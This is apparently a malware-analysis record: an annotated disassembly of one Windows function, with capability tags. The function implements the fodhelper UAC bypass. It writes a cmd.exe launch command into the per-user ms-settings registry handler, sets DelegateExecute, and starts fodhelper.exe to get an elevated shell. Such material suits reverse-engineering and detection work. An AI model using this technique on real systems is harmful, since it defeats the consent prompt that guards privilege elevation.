Function at 0x140001210
Capabilities:
Create process on windows
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xd8], rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, [0x140001810]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0xd0]
xor ebp, ebp
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbp
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebp
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
lea rdx, str.failed_to_open_or_create_reg_key_n
lea rcx, str.successfully_create_reg_key_n
cmovne rcx, rdx
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rax, str.cmd__c_start_C:WindowsSystem32cmd.exe
lea rdi, [0x1400033ed]
mov dword [rsp + 0x28], 0x28
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
lea rbx, str.successfully_set_reg_value_n
lea rsi, str.failed_to_set_reg_value_n
mov rcx, rbx
cmovne rcx, rsi
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rdx, str.DelegateExecute
mov r9d, 1
mov dword [rsp + 0x28], ebp
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
cmovne rbx, rsi
mov rcx, rbx
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [rsp + 0x60], 0x70
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0xc4], rax
mov dword [rsp + 0xcc], eax
lea rax, str.runas
movups xmmword [rsp + 0x64], xmm0
mov qword [rsp + 0x68], rbp
movups xmmword [rsp + 0x74], xmm0
mov qword [rsp + 0x70], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
movups xmmword [rsp + 0x84], xmm0
mov qword [rsp + 0x78], rax
movups xmmword [rsp + 0x94], xmm0
mov dword [rsp + 0x90], 1
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400013e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.the_user_refused_to_allow_privileges_elevation_n
cmp eax, 0x4c7
lea rcx, str.error_code:__ld_n
cmove rcx, rdx
mov edx, eax
call fcn.140001010
jmp 0x1400013ec
lea rcx, str.successfully_create_process_n
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.140001ad0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret